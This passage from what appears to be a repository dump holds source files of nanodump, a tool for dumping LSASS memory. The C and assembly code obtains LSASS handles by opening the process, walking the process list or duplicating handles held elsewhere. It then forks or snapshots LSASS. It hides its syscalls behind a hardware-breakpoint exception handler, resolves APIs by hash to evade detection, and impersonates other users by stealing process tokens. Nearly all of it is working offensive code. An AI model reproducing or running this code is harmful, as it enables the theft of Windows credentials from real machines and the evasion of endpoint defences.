         lsass_pid,\n            permissions,\n            attributes);\n#endif\n    }\n    // good old NtOpenProcess\n    else if (lsass_pid)\n    {\n        DPRINT(\"Using NtOpenProcess to get a handle to \" LSASS);\n        hProcess = get_process_handle(\n            lsass_pid,\n            permissions,\n            FALSE,\n            attributes);\n    }\n    // use NtGetNextProcess until a handle to LSASS is obtained\n    else\n    {\n        // the variable lsass_pid should always be set\n        // this branch won't be called\n        DPRINT(\"Using NtGetNextProcess to get a handle to \" LSASS);\n        hProcess = find_lsass(\n            permissions,\n            attributes);\n    }\n    if (hProcess)\n    {\n        DPRINT(LSASS \" handle: 0x%lx\", (DWORD)(ULONG_PTR)hProcess);\n    }\n    return hProcess;\n}\n\n// use NtGetNextProcess to get a handle to LSASS\nHANDLE find_lsass(\n    IN DWORD dwFlags,\n    IN DWORD attributes)\n{\n    HANDLE hProcess = NULL;\n    NTSTATUS status;\n\n    while (TRUE)\n    {\n        status = NtGetNextProcess(\n            hProcess,\n            dwFlags,\n            attributes,\n            0,\n            &hProcess);\n        if (status == STATUS_NO_MORE_ENTRIES)\n        {\n            PRINT_ERR(\"The \" LSASS \" process was not found. Try providing the PID with -p or --pid\");\n            return NULL;\n        }\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtGetNextProcess\", status);\n            DPRINT_ERR(\"Could not find the \" LSASS \" process\");\n            return NULL;\n        }\n        if (is_lsass(hProcess))\n            return hProcess;\n    }\n}\n\n#endif\n\n// use NtOpenProcess to get a handle to a process\nHANDLE get_process_handle(\n    IN DWORD dwPid,\n    IN DWORD dwFlags,\n    IN BOOL quiet,\n    IN DWORD attributes)\n{\n    NTSTATUS status;\n    HANDLE hProcess = NULL;\n    OBJECT_ATTRIBUTES ObjectAttributes;\n\n    InitializeObjectAttributes(\n        &ObjectAttributes,\n        NULL,\n        attributes,\n        NULL,\n        NULL);\n    CLIENT_ID uPid = { 0 };\n\n    uPid.UniqueProcess = (HANDLE)(DWORD_PTR)dwPid;\n    uPid.UniqueThread = (HANDLE)0;\n\n    status = NtOpenProcess(\n        &hProcess,\n        dwFlags,\n        &ObjectAttributes,\n        &uPid);\n\n    if (status == STATUS_INVALID_CID)\n    {\n        if (!quiet)\n        {\n            PRINT_ERR(\n                \"There is no process with the PID %ld.\",\n                dwPid);\n        }\n        return NULL;\n    }\n    if (status == STATUS_ACCESS_DENIED)\n    {\n        if (!quiet)\n        {\n            PRINT_ERR(\n                \"Could not open a handle to %ld.\",\n                dwPid);\n        }\n        return NULL;\n    }\n    else if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenProcess\", status);\n        DPRINT_ERR(\"Could not open handle to process %ld\", dwPid);\n        return NULL;\n    }\n\n    return hProcess;\n}\n\n// get all handles in the system\nBOOL get_all_handles(\n    OUT PSYSTEM_HANDLE_INFORMATION* phandle_table,\n    OUT PULONG phandle_table_size)\n{\n    BOOL ret_val = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    ULONG buffer_size = sizeof(SYSTEM_HANDLE_INFORMATION);\n    ULONG prev_buffer_size = buffer_size;\n    PVOID handleTableInformation = NULL;\n\n    handleTableInformation = intAlloc(buffer_size);\n    if (!handleTableInformation)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    while (TRUE)\n    {\n        //get information of all the existing handles\n        status = NtQuerySystemInformation(\n            SystemHandleInformation,\n            handleTableInformation,\n            buffer_size,\n            &buffer_size);\n        if (status == STATUS_INFO_LENGTH_MISMATCH)\n        {\n            // the buffer was too small, buffer_size now has the new length\n            DATA_FREE(handleTableInformation, prev_buffer_size);\n            prev_buffer_size = buffer_size;\n            handleTableInformation = intAlloc(buffer_size);\n            if (!handleTableInformation)\n            {\n                malloc_failed();\n                goto cleanup;\n            }\n            continue;\n        }\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtQuerySystemInformation\", status);\n            goto cleanup;\n        }\n        break;\n    }\n\n    *phandle_table = (PSYSTEM_HANDLE_INFORMATION)handleTableInformation;\n    *phandle_table_size = buffer_size;\n    ret_val = TRUE;\n    DPRINT(\"Obtained the handle table\");\n\ncleanup:\n    if (!ret_val && handleTableInformation)\n    {\n        DATA_FREE(handleTableInformation, buffer_size);\n    }\n\n    return ret_val;\n}\n\n// check if a PID is included in the process list\nBOOL process_is_included(\n    IN PPROCESS_LIST process_list,\n    IN ULONG ProcessId)\n{\n    for (ULONG i = 0; i < process_list->Count; i++)\n    {\n        if (process_list->ProcessId[i] == ProcessId)\n            return TRUE;\n    }\n    return FALSE;\n}\n\n// obtain a list of PIDs from a handle table\nBOOL get_processes_from_handle_table(\n    IN PSYSTEM_HANDLE_INFORMATION handleTableInformation,\n    OUT PPROCESS_LIST* pprocess_list)\n{\n    BOOL ret_val = FALSE;\n    PPROCESS_LIST process_list = NULL;\n\n    process_list = intAlloc(sizeof(PROCESS_LIST));\n    if (!process_list)\n    {\n        malloc_failed();\n        goto cleanup;\n    }\n\n    PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo;\n    for (ULONG i = 0; i < handleTableInformation->Count; i++)\n    {\n        handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handle[i];\n\n        if (!process_is_included(process_list, handleInfo->UniqueProcessId))\n        {\n            if (process_list->Count + 1 > MAX_PROCESSES)\n            {\n                PRINT_ERR(\"Too many processes, please increase MAX_PROCESSES\");\n                goto cleanup;\n            }\n            process_list->ProcessId[process_list->Count++] = handleInfo->UniqueProcessId;\n        }\n    }\n\n    *pprocess_list = process_list;\n    ret_val = TRUE;\n\n    DPRINT(\n        \"Enumerated %ld handles from %ld processes\",\n        handleTableInformation->Count,\n        process_list->Count);\n\ncleanup:\n    if (!ret_val && process_list)\n    {\n        DATA_FREE(process_list, sizeof(PROCESS_LIST));\n    }\n\n    return ret_val;\n}\n\n// call NtQueryObject with ObjectTypesInformation\nBOOL query_object_types_info(\n    POBJECT_TYPES_INFORMATION* pObjectTypes,\n    PULONG pObjectTypesSize)\n{\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    ULONG BufferLength = 0x1000;\n    ULONG PrevBufferLength = BufferLength;\n    POBJECT_TYPES_INFORMATION obj_type_information = NULL;\n\n    do\n    {\n        PrevBufferLength = BufferLength;\n        obj_type_information = intAlloc(BufferLength);\n        if (!obj_type_information)\n        {\n            malloc_failed();\n            return FALSE;\n        }\n\n        status = NtQueryObject_(\n            NULL,\n            ObjectTypesInformation,\n            obj_type_information,\n            BufferLength,\n            &BufferLength);\n\n        if (NT_SUCCESS(status))\n        {\n            *pObjectTypes = obj_type_information;\n            *pObjectTypesSize = BufferLength;\n            return TRUE;\n        }\n\n        DATA_FREE(obj_type_information, PrevBufferLength);\n    } while (status == STATUS_INFO_LENGTH_MISMATCH);\n\n    syscall_failed(\"NtQueryObject\", status);\n    return FALSE;\n}\n\n// get index of object type 'Process'\nBOOL get_type_index_by_name(\n    IN LPWSTR handle_type,\n    OUT PULONG ProcesTypeIndex)\n{\n    BOOL ret_val = FALSE;\n    BOOL success = FALSE;\n    POBJECT_TYPES_INFORMATION ObjectTypes = NULL;\n    POBJECT_TYPE_INFORMATION_V2 CurrentType = NULL;\n    ULONG ObjectTypesSize = 0;\n\n    success = query_object_types_info(\n        &ObjectTypes,\n        &ObjectTypesSize);\n    if (!success)\n        goto cleanup;\n\n    CurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_FIRST_ENTRY(ObjectTypes);\n    for (ULONG i = 0; i < ObjectTypes->NumberOfTypes; i++)\n    {\n        if (!_wcsicmp(CurrentType->TypeName.Buffer, handle_type))\n        {\n            *ProcesTypeIndex = i + 2;\n            ret_val = TRUE;\n            DPRINT(\"Found the index of type '%ls': %ld\", handle_type, i + 2);\n            goto cleanup;\n        }\n        CurrentType = (POBJECT_TYPE_INFORMATION_V2)OBJECT_TYPES_NEXT_ENTRY(CurrentType);\n    }\n\n    DPRINT_ERR(\"Index of type '%ls' not found\", handle_type);\n\ncleanup:\n    if (ObjectTypes)\n    {\n        DATA_FREE(ObjectTypes, ObjectTypesSize);\n    }\n\n    return ret_val;\n}\n\n#if defined(NANO)\n\n// find and duplicate a handle to LSASS\nHANDLE duplicate_lsass_handle(\n    IN DWORD lsass_pid,\n    IN DWORD permissions,\n    IN DWORD attributes)\n{\n    BOOL ret_val = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    BOOL success = FALSE;\n    HANDLE duplicated_handle = NULL;\n    HANDLE hProcess = NULL;\n    HANDLE hDuped = NULL;\n    PSYSTEM_HANDLE_INFORMATION handleTableInformation = NULL;\n    ULONG handleTableInformationSize = 0;\n    PPROCESS_LIST process_list = NULL;\n    ULONG ProcessId = 0;\n    DWORD local_pid = 0;\n    ULONG ProcesTypeIndex = 0;\n\n    success = get_type_index_by_name(PROCESS_HANDLE_TYPE, &ProcesTypeIndex);\n    if (!success)\n        goto cleanup;\n\n    success = get_all_handles(\n        &handleTableInformation,\n        &handleTableInformationSize);\n    if (!success)\n        goto cleanup;\n\n    success = get_processes_from_handle_table(\n        handleTableInformation,\n        &process_list);\n    if (!success)\n        goto cleanup;\n\n    local_pid = (DWORD)READ_MEMLOC(CID_OFFSET);\n\n    // loop over each ProcessId\n    for (ULONG i = 0; !ret_val && i < process_list->Count; i++)\n    {\n        ProcessId = process_list->ProcessId[i];\n\n        if (ProcessId == local_pid)\n            continue;\n        if (ProcessId == lsass_pid)\n            continue;\n        if (ProcessId == 0)\n            continue;\n        if (ProcessId == 4)\n            continue;\n\n        // we will open a handle to this ProcessId later on\n        hProcess = NULL;\n\n        // loop over each handle of this ProcessId\n        for (ULONG j = 0; j < handleTableInformation->Count; j++)\n        {\n            PSYSTEM_HANDLE_TABLE_ENTRY_INFO handleInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)&handleTableInformation->Handle[j];\n\n            // make sure this handle is from the current ProcessId\n            if (handleInfo->UniqueProcessId != ProcessId)\n                continue;\n\n            // make sure the handle is of type 'Process'\n            if (handleInfo->ObjectTypeIndex != ProcesTypeIndex)\n                continue;\n\n            // make sure the handle has the permissions we need\n            if ((handleInfo->GrantedAccess & (permissions)) != (permissions))\n                continue;\n\n            if (!hProcess)\n            {\n                // open a handle to the process with PROCESS_DUP_HANDLE\n                hProcess = get_process_handle(\n                    ProcessId,\n                    PROCESS_DUP_HANDLE,\n                    TRUE,\n                    0);\n                if (!hProcess)\n                    break;\n            }\n\n            // duplicate the handle\n            hDuped = NULL;\n            status = NtDuplicateObject(\n                hProcess,\n                (HANDLE)(DWORD_PTR)handleInfo->HandleValue,\n                NtCurrentProcess(),\n                &hDuped,\n                0,\n                attributes,\n                DUPLICATE_SAME_ACCESS);\n            if (!NT_SUCCESS(status))\n                continue;\n\n            if (is_lsass(hDuped))\n            {\n                // found LSASS handle\n                DPRINT(\n                    \"Found \" LSASS \" handle: 0x%x, on process: %d\",\n                    handleInfo->HandleValue,\n                    handleInfo->UniqueProcessId);\n                ret_val = TRUE;\n                duplicated_handle = hDuped;\n                break;\n            }\n            NtClose(hDuped); hDuped = NULL;\n        }\n        if (hProcess)\n        {\n            NtClose(hProcess); hProcess = NULL;\n        }\n    }\n\n    if (!ret_val)\n    {\n        PRINT_ERR(\"No handle to the \" LSASS \" process was found\");\n    }\n\ncleanup:\n    if (handleTableInformation)\n    {\n        DATA_FREE(handleTableInformation, handleTableInformationSize);\n    }\n    if (process_list)\n    {\n        DATA_FREE(process_list, sizeof(PROCESS_LIST));\n    }\n    if (hProcess)\n        NtClose(hProcess);\n\n    if (ret_val)\n        return duplicated_handle;\n    else\n        return NULL;\n}\n\n#endif\n\n// create a clone (fork) of the LSASS process\nHANDLE fork_process(\n    IN HANDLE hProcess,\n    IN DWORD attributes)\n{\n    if (!hProcess)\n        return NULL;\n\n    // fork the LSASS process\n    HANDLE hCloneProcess = NULL;\n    OBJECT_ATTRIBUTES attrs = { 0 };\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n\n    InitializeObjectAttributes(&attrs, NULL, attributes, 0, NULL);\n\n    status = NtCreateProcessEx(\n        &hCloneProcess,\n        GENERIC_ALL,\n        &attrs,\n        hProcess,\n        CREATE_SUSPENDED,\n        NULL,\n        NULL,\n        NULL,\n        0);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtCreateProcessEx\", status);\n        hCloneProcess = NULL;\n    }\n    else\n    {\n        DPRINT(\n            \"Forked the \" LSASS \" process, new handle: 0x%lx\",\n            (DWORD)(ULONG_PTR)hCloneProcess);\n    }\n\n    NtClose(hProcess); hProcess = NULL;\n    return hCloneProcess;\n}\n\n// create a snapshot of the LSASS process\nHANDLE snapshot_process(\n    IN HANDLE hProcess,\n    OUT PHANDLE hSnapshot)\n{\n    BOOL ret_val = FALSE;\n    PssNtCaptureSnapshot_t PssNtCaptureSnapshot;\n    PssNtQuerySnapshot_t PssNtQuerySnapshot;\n    HANDLE hCloneProcess = NULL;\n    DWORD process_flags = 0;\n    DWORD thread_flags = 0;\n    DWORD error_code = 0;\n\n    if (!hProcess || !hSnapshot)\n        goto cleanup;\n\n    // find the address of PssNtCaptureSnapshot dynamically\n    PssNtCaptureSnapshot = (PssNtCaptureSnapshot_t)(ULONG_PTR)get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        PssNtCaptureSnapshot_SW2_HASH,\n        0);\n    if (!PssNtCaptureSnapshot)\n    {\n        api_not_found(\"PssNtCaptureSnapshot\");\n        goto cleanup;\n    }\n\n    *hSnapshot    = NULL;\n    process_flags = PROCESS_PPSCAPTURESNAPSHOT_PERMISSIONS;\n    thread_flags  = THREAD_PPSCAPTURESNAPSHOT_PERMISSIONS;\n\n    error_code = PssNtCaptureSnapshot(\n        hSnapshot,\n        hProcess,\n        process_flags,\n        thread_flags);\n\n    NtClose(hProcess); hProcess = NULL;\n\n    if (error_code != ERROR_SUCCESS)\n    {\n        DPRINT_ERR(\"Could not create a snapshot of \" LSASS \", error: 0x%lx\", error_code);\n        goto cleanup;\n    }\n\n    DPRINT(\n        \"Created a snapshot of the \" LSASS \" process, snapshot handle: 0x%lx\",\n        (DWORD)(ULONG_PTR)*hSnapshot);\n\n    // find the address of PssNtQuerySnapshot dynamically\n    PssNtQuerySnapshot = (PssNtQuerySnapshot_t)(ULONG_PTR)get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        PssNtQuerySnapshot_SW2_HASH,\n        0);\n    if (!PssNtQuerySnapshot)\n    {\n        api_not_found(\"PssNtQuerySnapshot\");\n        goto cleanup;\n    }\n\n    error_code = PssNtQuerySnapshot(\n        *hSnapshot,\n        PSS_QUERY_VA_CLONE_INFORMATION,\n        &hCloneProcess,\n        sizeof(PVOID));\n    if (error_code != ERROR_SUCCESS)\n    {\n        DPRINT_ERR(\"Could not query the snapshot of \" LSASS \", error: 0x%lx\", error_code);\n        goto cleanup;\n    }\n\n    ret_val = TRUE;\n\n    DPRINT(\n        \"Got a handle to the snapshot process: 0x%lx\",\n        (DWORD)(ULONG_PTR)hCloneProcess);\n\ncleanup:\n    if (hProcess)\n        NtClose(hProcess);\n    if (!ret_val && *hSnapshot)\n        NtClose(*hSnapshot);\n    if (!ret_val && hCloneProcess)\n        NtClose(hCloneProcess);\n\n    if (ret_val)\n        return hCloneProcess;\n    else\n        return NULL;\n}\n\n// frees a snapshot of the LSASS process\nBOOL free_snapshot(\n    IN HANDLE hSnapshot)\n{\n    PssNtFreeSnapshot_t PssNtFreeSnapshot = NULL;\n    DWORD error_code = 0;\n\n    if (!hSnapshot)\n        return TRUE;\n\n    PssNtFreeSnapshot = (PssNtFreeSnapshot_t)(ULONG_PTR)get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        PssNtFreeSnapshot_SW2_HASH,\n        0);\n    if (!PssNtFreeSnapshot)\n    {\n        api_not_found(\"PssNtFreeSnapshot\");\n        return FALSE;\n    }\n\n    error_code = PssNtFreeSnapshot(hSnapshot);\n\n    NtClose(hSnapshot); hSnapshot = NULL;\n\n    if (error_code != ERROR_SUCCESS)\n    {\n        DPRINT_ERR(\"Could not free the snapshot of \" LSASS \", error: 0x%lx\", error_code);\n        return FALSE;\n    }\n    DPRINT(\"The snapshot has been freed\");\n\n    return TRUE;\n}\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/hw_breakpoint-asm.asm",
    "content": ".code\n\nhwbp_handler PROC\n\tmov rax, [rcx]\n\tmov eax, [rax]\n\tcmp eax, 080000004h\n\tjnz leave1\n\tmov rax, rcx\n\tmov rcx, [rax+008h]\n\tmov rax, [rcx+078h]\n\tmov r11, [rcx+098h]\n\tmov r9, 0DEADBEEFCAFEBABEh\n\tsearch_loop:\n\tadd r11, 08h\n\tcmp [r11], r9\n\tjne search_loop\n\tmov r11, [r11+008h]\n\tmov rcx, [r11+000h]\n\tmov rdx, [r11+008h]\n\tmov r9, [r11+010h]\n\tmov rbx, [r11+018h]\n\tmov rbp, [r11+020h]\n\tmov rsp, [r11+028h]\n\tmov r8, [r11+030h]\n\txor r11, r11\n\trestore_stack_loop:\n\tmov r10b, [rdx+r11]\n\tmov [r9+r11], r10b\n\tinc r11\n\tcmp r11, rcx\n\tjne restore_stack_loop\n\tjmp r8\n\tleave1:\n\tmov eax, 0ffffffffh\n\tret\nhwbp_handler ENDP\n\nend\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/hw_breakpoint.c",
    "content": "\n#include \"hw_breakpoint.h\"\n\nULONG_PTR set_bits(\n    ULONG_PTR dw,\n    int lowBit,\n    int bits,\n    ULONG_PTR newValue)\n{\n    ULONG_PTR mask = (1UL << bits) - 1UL;\n    dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);\n    return dw;\n}\n\nVOID clear_breakpoint(\n    CONTEXT* ctx,\n    int index)\n{\n    //Clear the releveant hardware breakpoint\n    switch (index)\n    {\n        case 0:\n            ctx->Dr0 = 0;\n            break;\n        case 1:\n            ctx->Dr1 = 0;\n            break;\n        case 2:\n            ctx->Dr2 = 0;\n            break;\n        case 3:\n            ctx->Dr3 = 0;\n            break;\n    }\n     //Clear DRx HBP to disable for local mode\n    ctx->Dr7 = set_bits(ctx->Dr7, (index * 2), 1, 0);\n    ctx->Dr6 = 0;\n    ctx->EFlags = 0;\n}\n\nVOID enable_breakpoint(\n    CONTEXT* ctx,\n    PVOID address,\n    int index)\n{\n    switch (index)\n    {\n        case 0:\n            ctx->Dr0 = (ULONG_PTR)address;\n            break;\n        case 1:\n            ctx->Dr1 = (ULONG_PTR)address;\n            break;\n        case 2:\n            ctx->Dr2 = (ULONG_PTR)address;\n            break;\n        case 3:\n            ctx->Dr3 = (ULONG_PTR)address;\n            break;\n    }\n\n    //Set bits 16-31 as 0, which sets\n    //DR0-DR3 HBP's for execute HBP\n    ctx->Dr7 = set_bits(ctx->Dr7, 16, 16, 0);\n\n    //Set DRx HBP as enabled for local mode\n    ctx->Dr7 = set_bits(ctx->Dr7, (index * 2), 1, 1);\n    ctx->Dr6 = 0;\n}\n\n/*\n * This function is responsible for:\n * 1) find the relevant information after the canary\n * 2) restore the registers\n * 3) restore the original stack\n * 4) return to trigger_syscall/trigger_api\n */\n\n#if defined(_MSC_VER) && defined (_M_IX86)\n\n__declspec(naked) __attribute__((stdcall)) LONG hwbp_handler(\n    PEXCEPTION_POINTERS exceptions)\n{\n    __asm {\n        // check that the ExceptionCode is EXCEPTION_SINGLE_STEP\n        mov ecx, [esp+0x04]\n        mov eax, [ecx]\n        mov eax, [eax]\n        cmp eax, 0x80000004\n        jnz leave\n        // ecx: ContextRecord\n        mov ecx, [ecx+0x04]\n        // get the status\n        mov eax, [ecx+0xb0]\n        // search for the canary\n        // edi: exceptions->ContextRecord->Rsp\n        mov edi, [ecx+0xc4]\n        mov esi, 0xDEADBEEF\n        search_loop:\n        add edi, 0x04\n        cmp dword ptr [edi], esi\n        jne search_loop\n        // edi: storing_area\n        mov edi, [edi+0x04]\n        // restore the original stack\n        // full_stack_size\n        mov ecx, [edi+0x00]\n        // full_stack_backup_addr\n        mov esi, [edi+0x04]\n        // full_stack_base\n        mov edx, [edi+0x08]\n        restore_stack_loop:\n        mov bl, [esi+ecx-0x1]\n        mov [edx+ecx-0x1], bl\n        dec ecx\n        cmp ecx, 0x0\n        jne restore_stack_loop\n        // restore registers\n        mov ebx, [edi+0x0c]\n        mov ebp, [edi+0x10]\n        mov esp, [edi+0x14]\n        mov edi, [edi+0x18]\n        // jump back to the Nt* function\n        jmp edi\n        leave:\n        mov eax, 0xffffffff\n        ret\n    }\n}\n\n#elif defined(__GNUC__)\n\n__declspec(naked) LONG hwbp_handler(\n    PEXCEPTION_POINTERS exceptions)\n{\n#if defined(_WIN64)\n    asm(\n        SET_SYNTAX\n        // check that the ExceptionCode is EXCEPTION_SINGLE_STEP\n        \"mov rax, [rcx] \\n\"\n        \"mov eax, [rax] \\n\"\n        \"cmp eax, 0x80000004 \\n\"\n        \"jnz leave \\n\"\n        // get the status code\n        \"mov rax, rcx \\n\"\n        \"mov rcx, [rax+0x08] \\n\"\n        \"mov rax, [rcx+0x78] \\n\"\n        // search for the canary\n        // r11: exceptions->ContextRecord->Rsp\n        \"mov r11, [rcx+0x98] \\n\"\n        \"mov r9, 0xDEADBEEFCAFEBABE \\n\"\n        \"search_loop: \\n\"\n        \"add r11, 0x8 \\n\"\n        \"cmp [r11], r9 \\n\"\n        \"jne search_loop \\n\"\n        // r11: storing_area\n        \"mov r11, [r11+0x08] \\n\"\n        // full_stack_size\n        \"mov rcx, [r11+0x00] \\n\"\n        // full_stack_backup_addr\n        \"mov rdx, [r11+0x08] \\n\"\n        // full_stack_base\n        \"mov r9, [r11+0x10] \\n\"\n        // restore RBX\n        \"mov rbx, [r11+0x18] \\n\"\n        // restore RBP\n        \"mov rbp, [r11+0x20] \\n\"\n        // restore RSP\n        \"mov rsp, [r11+0x28] \\n\"\n        // restore RIP\n        \"mov r8, [r11+0x30] \\n\"\n        // restore the original stack\n        \"xor r11, r11 \\n\"\n        \"restore_stack_loop: \\n\"\n        \"mov r10b, [rdx+r11] \\n\"\n        \"mov [r9+r11], r10b \\n\"\n        \"inc r11 \\n\"\n        \"cmp r11, rcx \\n\"\n        \"jne restore_stack_loop \\n\"\n        // jump back to the Nt* function\n        \"jmp r8 \\n\"\n        \"leave: \\n\"\n        \"mov eax, 0xffffffff \\n\"\n        \"ret \\n\"\n    );\n#else\n    asm(\n        SET_SYNTAX\n        // check that the ExceptionCode is EXCEPTION_SINGLE_STEP\n        \"mov ecx, [esp+0x04] \\n\"\n        \"mov eax, [ecx] \\n\"\n        \"mov eax, [eax] \\n\"\n        \"cmp eax, 0x80000004 \\n\"\n        \"jnz leave \\n\"\n        // ecx: ContextRecord\n        \"mov ecx, [ecx+0x04] \\n\"\n        // get the status\n        \"mov eax, [ecx+0xb0] \\n\"\n        // search for the canary\n        // edi: exceptions->ContextRecord->Rsp\n        \"mov edi, [ecx+0xc4] \\n\"\n        \"mov esi, 0xDEADBEEF \\n\"\n        \"search_loop: \\n\"\n        \"add edi, 0x04 \\n\"\n        \"cmp dword ptr [edi], esi \\n\"\n        \"jne search_loop \\n\"\n        // edi: storing_area\n        \"mov edi, [edi+0x04] \\n\"\n        // restore the original stack\n        // full_stack_size\n        \"mov ecx, [edi+0x00] \\n\"\n        // full_stack_backup_addr\n        \"mov esi, [edi+0x04] \\n\"\n        // full_stack_base\n        \"mov edx, [edi+0x08] \\n\"\n        \"restore_stack_loop: \\n\"\n        \"mov bl, [esi+ecx-0x1] \\n\"\n        \"mov [edx+ecx-0x1], bl \\n\"\n        \"dec ecx \\n\"\n        \"cmp ecx, 0x0 \\n\"\n        \"jne restore_stack_loop \\n\"\n        // restore registers\n        \"mov ebx, [edi+0x0c] \\n\"\n        \"mov ebp, [edi+0x10] \\n\"\n        \"mov esp, [edi+0x14] \\n\"\n        \"mov edi, [edi+0x18] \\n\"\n        // jump back to the Nt* function\n        \"jmp edi \\n\"\n        \"leave: \\n\"\n        \"mov eax, 0xffffffff \\n\"\n        \"ret \\n\"\n    );\n#endif\n}\n\n#endif\n\nBOOL set_hwbp(\n    PVOID address,\n    PHANDLE phHwBpHandler)\n{\n    BOOL ret_val = FALSE;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    HANDLE hHwBpHandler = NULL;\n    CONTEXT threadCtx = { 0 };\n    memset(&threadCtx, 0, sizeof(threadCtx));\n    threadCtx.ContextFlags = CONTEXT_ALL;\n    RtlAddVectoredExceptionHandler_t RtlAddVectoredExceptionHandler = NULL;\n\n    // find the address of RtlAddVectoredExceptionHandler_t dynamically\n    RtlAddVectoredExceptionHandler = (RtlAddVectoredExceptionHandler_t)(ULONG_PTR)get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        RtlAddVectoredExceptionHandler_SW2_HASH,\n        0);\n    if (!RtlAddVectoredExceptionHandler)\n    {\n        api_not_found(\"RtlAddVectoredExceptionHandler\");\n        goto cleanup;\n    }\n\n    hHwBpHandler = RtlAddVectoredExceptionHandler(1, (PVECTORED_EXCEPTION_HANDLER)hwbp_handler);\n    if (!hHwBpHandler)\n    {\n        function_failed(\"RtlAddVectoredExceptionHandler\");\n        goto cleanup;\n    }\n\n    status = NtGetContextThread(NtCurrentThread(), &threadCtx);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtGetContextThread\", status);\n        goto cleanup;\n    }\n\n    enable_breakpoint(&threadCtx, address, DEBUG_REGISTER_INDEX);\n\n    status = NtSetContextThread(NtCurrentThread(), &threadCtx);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetContextThread\", status);\n        goto cleanup;\n    }\n\n    *phHwBpHandler = hHwBpHandler;\n    ret_val = TRUE;\n\ncleanup:\n    return ret_val;\n}\n\nVOID unset_hwbp(\n    HANDLE hHwBpHandler)\n{\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    CONTEXT threadCtx = { 0 };\n    memset(&threadCtx, 0, sizeof(threadCtx));\n    threadCtx.ContextFlags = CONTEXT_ALL;\n    ULONG ret_val = 0;\n    RtlRemoveVectoredExceptionHandler_t RtlRemoveVectoredExceptionHandler = NULL;\n\n    // find the address of RtlRemoveVectoredExceptionHandler dynamically\n    RtlRemoveVectoredExceptionHandler = (RtlRemoveVectoredExceptionHandler_t)(ULONG_PTR)get_function_address(\n        get_library_address(NTDLL_DLL, TRUE),\n        RtlRemoveVectoredExceptionHandler_SW2_HASH,\n        0);\n    if (!RtlRemoveVectoredExceptionHandler)\n    {\n        api_not_found(\"RtlRemoveVectoredExceptionHandler\");\n        goto cleanup;\n    }\n\n    status = NtGetContextThread(NtCurrentThread(), &threadCtx);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtGetContextThread\", status);\n        goto cleanup;\n    }\n\n    clear_breakpoint(&threadCtx, DEBUG_REGISTER_INDEX);\n\n    status = NtSetContextThread(NtCurrentThread(), &threadCtx);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetContextThread\", status);\n        goto cleanup;\n    }\n\n    ret_val = RtlRemoveVectoredExceptionHandler(hHwBpHandler);\n    if (!ret_val)\n    {\n        function_failed(\"RtlRemoveVectoredExceptionHandler\");\n        goto cleanup;\n    }\n\ncleanup:\n    return;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/impersonate.c",
    "content": "#include \"impersonate.h\"\n\n\nBOOL impersonate_user(\n    IN LPCWSTR pwszSid,\n    OUT PHANDLE phToken,\n    IN LPCWSTR pwszPrivileges[],\n    IN DWORD dwPrivilegeCount)\n{\n    BOOL bReturnValue = FALSE;\n    *phToken = NULL;\n    HANDLE hToken = NULL;\n    BOOL success = FALSE;\n\n    LPCWSTR ppwszRequiredPrivileges[2] = {\n        L\"SeDebugPrivilege\",\n        L\"SeImpersonatePrivilege\"\n    };\n\n    success = check_token_privileges(\n        NULL,\n        ppwszRequiredPrivileges,\n        ARRAY_SIZE(ppwszRequiredPrivileges),\n        TRUE);\n    if (!success)\n        goto end;\n\n    success = find_process_token_and_duplicate(\n        pwszSid,\n        pwszPrivileges,\n        dwPrivilegeCount,\n        &hToken);\n    if (!success)\n        goto end;\n\n    success = impersonate(hToken);\n    if (!success)\n        goto end;\n\n    *phToken = hToken;\n    bReturnValue = TRUE;\n\nend:\n    if (!bReturnValue && hToken)\n        NtClose(hToken);\n\n    return bReturnValue;\n}\n\nBOOL impersonate(\n    IN HANDLE hToken)\n{\n    NTSTATUS status;\n\n    status = NtSetInformationThread(\n        NtCurrentThread(),\n        ThreadImpersonationToken,\n        &hToken,\n        sizeof(HANDLE));\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtSetInformationThread\", status);\n        return FALSE;\n    }\n\n    return TRUE;\n}\n\nBOOL find_process_token_and_duplicate(\n    IN LPCWSTR pwszTargetSid,\n    IN LPCWSTR pwszPrivileges[],\n    IN DWORD dwPrivilegeCount,\n    OUT PHANDLE phToken)\n{\n    BOOL bReturnValue = FALSE;\n\n    PSID pTargetSid = NULL;\n    PVOID pBuffer = NULL;\n    PSYSTEM_PROCESS_INFORMATION pProcInfo = NULL;\n    HANDLE hProcess = NULL, hToken = NULL, hTokenDup = NULL;\n    DWORD dwBufSize = 0x1000;\n    DWORD dwPrevBufSize = dwBufSize;\n    PSID pSidTmp = NULL;\n    LPWSTR pwszUsername = NULL;\n    NTSTATUS status = STATUS_UNSUCCESSFUL;\n    ConvertStringSidToSidW_t ConvertStringSidToSidW;\n    CLIENT_ID uPid = { 0 };\n    OBJECT_ATTRIBUTES ObjectAttributes = { 0 };\n    OBJECT_ATTRIBUTES TokenObjectAttributes = { 0 